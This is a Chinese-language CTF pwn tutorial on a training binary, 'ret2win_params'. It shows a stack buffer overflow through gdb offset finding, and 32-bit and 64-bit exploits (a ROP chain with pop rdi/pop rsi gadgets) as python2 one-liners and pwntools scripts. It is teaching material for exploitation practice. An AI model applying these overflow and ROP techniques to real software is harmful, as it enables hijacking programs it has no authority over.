简介

“pwn"这个词的源起以及它被广泛地普遍使用的原因,源自于魔兽争霸某段讯息上设计师打字时拼错而造成的,原先的字词应该是"own"这个字,因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的,PWN 也是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似"砰”,对黑客而言,这就是成功实施黑客攻击的声音,而在ctf比赛里,pwn是对二进制漏洞的利用

32位程序

下载这个github库,进入04文件夹

https://github.com/Crypto-Cat/CTF/tree/main/pwn/binary_exploitation_101

获取文件信息

进入32位程序文件夹

使用checksec工具可以查看程序更详细的信息

可以看到,这个程序没有开启任何防护
从上到下依次是

32位程序
部分RELRO,基本上所有程序都默认的有这个
没有开启栈保护
未启用数据执行
没有pie,意思是程序的内存空间不会被随机化
有读,写,和执行的段,意思是我们可以在程序里写入shellcode

然后运行程序,输入一大堆字符串测试一下

程序报错退出了,报错的信息是分段错误,可能造成了缓冲区溢出

分析程序源代码

打开程序源代码

#include <stdio.h>void hacked(int first, int second)     //自定义的hacked函数,我们需要让程序执行这个函数才算破解程序
{if (first == 0xdeadbeef && second == 0xc0debabe){    //需要同时满足first = 0xdeadbeef和second = 0xc0debabeprintf("This function is TOP SECRET! How did you get in here?! :O\n");   //破解程序}else{printf("Unauthorised access to secret function detected, authorities have been alerted!!\n");   //破解失败}return;
}void register_name()   //自定义register_name函数,是程序主要执行的地方
{char buffer[16];    //定义了一个变量,名为buffer,有16个字节的缓冲区printf("Name:\n");    //输出字符"Name:scanf("%s", buffer);   //获取我们输入的字符,并存入到buffer变量里printf("Hi there, %s\n", buffer);     //输出字符Hi there和我们输入的变量
}int main()
{register_name();   //调用上面的register_name自定义函数return 0;
}

这道题和上一道题差不多,只不过需要满足一些其他的条件才行

静态调试

将题目用ghidra打开,在函数列表找到main函数


双击去到对应函数的地址

这里和程序源代码里的代码差不多

我们在函数列表点击hacked函数,可以看到这里对比的数有些不一样

我们单击一个数后,汇编界面会显示对应的汇编代码

可以看到,这里对比的数值就和源代码里的一样了,要想知道原因的话可以去看我之前写的使用arm进行汇编语言编程的文章,在那里我很详细的介绍了原理

动态调试

我们用gdb对程序进行动态调试

gdb ret2win_params

然后查看程序里调用的函数

info functions

输入命令cyclic就能获得测试用的字符串

cyclic 200

生成200个字符串,每四个字符的最后一个字符都不一样,用于测试覆盖程序的返回地址需要多少个字符

复制输出的字符,然后运行程序

可以看到,程序已经报错了,而且里面原本的参数全被我们输入的值给覆盖了,这里需要注意的是ret指令,ret是子程序的返回指令,原本他要返回main函数,结果被我们覆盖了,返回到了其他不存在的地址,于是程序就报错了

EIP这个寄存器,他是程序的指针,指针就是寻找地址的,指到什么地址,就会运行该地址的参数,控制了这个指针,就能控制整个程序的运行

可以看到,eip寄存器里的值是haaa的十六进制,我们查一下haaa在刚刚生成的字符的第几个

cyclic -l haaa


说明我们要覆盖eip原本的返回地址并控制,就需要28个字符+想让程序跳转执行的地址

然后我们再次查看程序调用的函数地址

info functions

hacked的函数地址是0x08049182,我们可以写一个小脚本来让程序跳转到这个地址

在x86架构里,读取地址是由低到高的,十六进制0x08049182就要从最后一个开始写,然后将输出的值存放到一个文件里

python2 -c "print 'A'*28+'\x82\x91\x04\x08'+'AAAA'+'BBBB'+'CCCC'+'DDDD'" > exp

回到gdb,在regustr_name函数最后的ret返回指令处下一个断点

b *0x0804922a

这样可以让我们更方便的调试程序,然后运行程序,导入这个文件里的值

run < exp

可以看到,我们成功覆盖了原本的返回地址

按n进入下一步,一直到对比的地方

我们查看一下这个寄存器里的值

0x42转换成ascii码是大写的B,对比失败后程序会跳转,破解失败

我们修改一下之前的exp

python2 -c "print 'A'*28+'\x82\x91\x04\x08'+'AAAA'+'\xef\xbe\xad\xde'+'CCCC'+'DDDD'" > exp

然后再次执行程序

run < exp

查看一下这个寄存器里的值

x $ebp + 8

可以看到,现在就和对比的值一样了,继续下一步,进行第二个对比

查看一下这个寄存器里的值

x $ebp + 0xc

0x43转换成ascii码是大写的C,我们再改一下脚本

python2 -c "print 'A'*28+'\x82\x91\x04\x08'+'AAAA'+'\xef\xbe\xad\xde'+'\xbe\xba\xde\xc0'+'DDDD'" > exp

然后再次执行

成功破解程序,直接运行程序然后导入文件也可以破解

pwntools脚本

from pwn import *   //导入pwntools模块io = process('./ret2win_params')    //运行程序
io.sendline(b'A' * 28 + p32(0x08049182) + 'AAAA' +p32(0xdeadbeef) + p32(0xc0debabe))   //程序运行后发送指定的字符串,格式为32位
print(io.recvall())   //接收输出

成功破解

64位程序

获取文件信息

去到64位程序文件夹下

使用checksec工具可以查看程序更详细的信息

可以看到这是一个64位的程序,其他的什么都没有变

我们看看源代码

只是对比的字符变长了,其他也什么都没有变,静态调试也和之前的一模一样

动态调试

用gdb打开文件

然后我们反汇编hacked函数看看

可以看到,很多地方都不一样了,我们打开32位程序对比看看

测试一下缓冲区范围

cyclic 100
run

可以看到,我们的e开头的寄存器都变成r开头的了,这也是64位程序的一个特征,32位只有4个字节,而64位有8个字节

我们复制返回的地址去解码

unhex 6161616861616167

注意,由于在x86架构里,读取地址是由低到高的,所以这里的字符串是gaaahaaa

我们只需要复制前四位即可

说明我们要覆盖rip原本的返回地址并控制,就需要24个字符+想让程序跳转执行的地址

现在我们写一个小脚本,首先hacked函数的地址在

0x0000000000401142

然后程序缓冲区的区间是24个字符

关于64位寄存器的知识点

如果不想看得云里雾里,我推荐去看看我写的使用arm进行汇编语言编程系列

64位程序将要对比的值存入rdi和rsi寄存器里,在这图中也可以看到相对应的操作

在64位寄存器中,有两个寄存器需要知道,rdi寄存器和rsi寄存器,rdi寄存器用于第一个参数传递,而rsi是第二个参数传递,我们要把对比的值放入这两个寄存器里,就需要参数传递,64位比32位要麻烦许多

构造ROP链

我们要找到这些特殊的寄存器就需要ropper这个工具,这个工具的用处就是寻找指定操作指令的地址

apt install ropper  //安装ropper
ropper --file ret2win_params --search "pop rdi"  //从内存中弹出值到rdi寄存器中

这个地址是执行pop rdi操作的

0x000000000040124b

然后继续补全我们的脚本0xdeadbeefdeadbeef

python2 -c 'print "A" * 24 + "\x4b\x12\x40\x00\x00\x00\x00\x00" + "\xef\xbe\xad\xde\xef\xbe\xad\xde"'
//从内存中弹出并存放到rdi寄存器里的值就是我们需要对比的字符deadbeefdeadbeef

程序对比时还有一个参数,所以我们还需要找到pop rsi指令的地址

ropper --file ret2win_params --search "pop rsi"  //从内存中弹出值到rsi寄存器中

但是由于这里还执行了其他的命令,pop r15,我们可以传入一些垃圾字符进去

0x0000000000401249

然后我们继续补全脚本,整个脚本的逻辑是这样的

垃圾字符 + pop_rdi的地址 + 我们第一个对比的值 + pop_rsi的地址 + 我们第二个对比的值 + 8个字符的垃圾数据 + hacked函数的地址

python2 -c 'print "A" * 24 + "\x4b\x12\x40\x00\x00\x00\x00\x00" + "\xef\xbe\xad\xde\xef\xbe\xad\xde" + "\x49\x12\x40\x00\x00\x00\x00\x00" + "\xbe\xba\xde\xc0\xbe\xba\xde\xc0" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x42\x11\x40\x00\x00\x00\x00\x00"' > exp

现在脚本就完成了,这里hacked函数地址要在最后的原因是,如果我们放到第一个,程序跳转之后就不会执行我们后续的操作了,所以我们要将需要执行的操作都执行后,再跳转

我们脚本调用pop rdi之类的指令,从内存弹出的值都是我们写的值,因为程序原本的值都被我们覆盖了,他是按照顺序弹的

我们要在程序主函数的最后的地址下一个断点,方便调试,然后我们执行程序,并导入文件里的数据

disassemble register_name
b *0x00000000004011d6
run < exp

可以看到,程序在执行了我们指定的操作后,才跳转到hacked函数的地址

rdi里存放的值就是之后要对比的值

继续执行

成功破解程序,我们直接执行程序,然后导入文件看看

也是能成功破解的

pwntools脚本

from pwn import *io = process('./ret2win_params')
io.sendline(b"A" * 24 + b"\x4b\x12\x40\x00\x00\x00\x00\x00" + b"\xef\xbe\xad\xde\xef\xbe\xad\xde" + b"\x49\x12\x40\x00\x00\x00\x00\x00" + b"\xbe\xba\xde\xc0\xbe\xba\xde\xc0" + b"\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x42\x11\x40\x00\x00\x00\x00\x00")print(io.recvall())


成功破解程序

总结

有什么不会或者是错误的地方的可以私信我,看到必回

PWN入门(5)32位程序与64位程序和构造ROP链相关推荐

  1. [思考]-32位的应用程序和64位的应用程序有什么区别

    文章目录 1.32位的应用程序和64位的应用程序有什么区别 2.在aarch64的linux os中,是否同时支持运行32位app和64位app ★★★ 链接 : 个人博客导读首页-点击此处 ★★★ ...

  2. 使用.netFx4.0提供的方法解决32位程序访问64位系统的64位注册表

    原文:使用.netFx4.0提供的方法解决32位程序访问64位系统的64位注册表 我们知道目标平台是32位的程序运行在64位的系统上,去访问部分注册表的时候系统自动重定向到win32node节点对应的 ...

  3. linux32位运行64位程序,32位windows下可以运行的程序在64位linux下报错

    已结贴√ 问题点数:20 回复次数:3 32位windows下可以运行的程序在64位linux下报错 filt.c在32位windows code:blocks 10.05下运行无任何异样. 传到64 ...

  4. 32位dll转64位工具_如何在64位系统中运行32位或16位程序

    由于CPU和系统架构的更新,现行主流的Windows系统已经是64位.然而许多人还恋恋不舍的一些老游戏或老程序已经没有了更新.在64位的系统上运行这些程序,往往会出现运行故障.如何才能解决这个烦心事? ...

  5. 32位程序和64位程序

    我们有时候会遇到这样一种情况:我们在32位操作系统上下载了64位版本的程序,却发现无法安装,大家可能会很困惑. 下面就来简单解释一下32位程序与64位程序的具体区别. 我们首先要弄明白的: 1.这里所 ...

  6. 32位程序在64位系统上运行

    32位程序在64位系统上运行 32位系统下的MFC文件,怎么在64位的系统上面运行? 先将32位的应用程序转换为64位的应用程序. 从32位应用程序到64位应用程序 编译:starlight 这篇文章 ...

  7. 32位程序和64位程序这些区别你知道吗?

    我们在编写C/C++程序时,32位程序和64位程序的代码有何区别?如何编写既可以编译成32位程序又可以编译成64位程序的代码? 代码上的区别 实际上,对于32位程序和64位程序来说,代码上的区别不大, ...

  8. c语言的程序是32位还是64位,在C语言中,对于32位计算机和64位计算机,long的大小是多少?...

    本问题已经有最佳答案,请猛点这里访问. 对于32位平台,C中的long的大小为4字节,而对于64位平台,为8字节是否正确? 通常,但不一定. 如果要使用固定大小的类型,请使用int32_t或int64 ...

  9. 32位应用程序操作64位Windows注册表的方法

    64位的Windows操作系统中能够运行32位的应用程序,主要是由于Windows中提供了WOW64子系统. 1.WOW64子系统 WOW64 (Windows-on-Windows 64-bit)是 ...

最新文章

  1. 关于学习Python的一点学习总结(19->if及相关的符号运算)
  2. R语言ggplot2可视化使用ggplot2包patchwork包在可视化结果(右上角)中插入logo图片
  3. 浅谈CSRF攻击方式
  4. 【20171111】Codevs 1064 虫食算80分
  5. 【springboot】spring-boot-devtools 热部署 导致 mvn spring-boot:run 出现异常
  6. wps的计算机在哪里设置密码,wps文件怎么设置和取消密码 wps文件密码设置和取消的步骤方法...
  7. 第5 章持久化类(Persistent Classes)
  8. linux 目录硬链接,linux为什么不能给目录做硬链接
  9. rn代码与android,RN与原生通讯(安卓篇)
  10. MATLAB一句总结
  11. mysql 主从 单表_MySQL主从复制单表或者多表
  12. 机器学习与深度学习资料整理
  13. 中标麒麟桌面系统自定义屏保
  14. eve-ng学习笔记
  15. fusioncharts的属性介绍
  16. 一文带你透析zookeeper原理
  17. Python:实现一个Pangram字符串至少包含一次所有字母算法(附完整源码)
  18. 用html、javascript写一个网页,网页内容包括一个下拉列表,内容为语文、数学、英语,一个单选按钮,内容为苹果、桃子、西瓜,默认选中数学、西瓜
  19. 学习wxWidgets第1篇(续):Codeblocks配置wxWidgets
  20. Qbasic 输出 星号三角形

热门文章

  1. AWS-IAM学习笔记
  2. 数据库求候选码的算法
  3. caffe/ windows 10 /Can't parse message of type caffe.NetParameter because it is missing required
  4. mysql主从复制mmm_MMM+MYSQL主从同步
  5. 河南科技大学计算机专业就业情况,河南科技大学好就业吗?附河南科技大学就业率最高的专业名单...
  6. 音乐计算机ut乐谱大全,Flash钢琴乐谱大全.doc
  7. 【操作系统】3.进程管理
  8. CCC3.0学习笔记_认证和隐私保护
  9. 乐普生物再递表背后:连年巨亏,暂未放弃A股,最多撑到年底?
  10. Spring报错:Exception encountered during context initialization - cancelling refresh attempt: org.sprin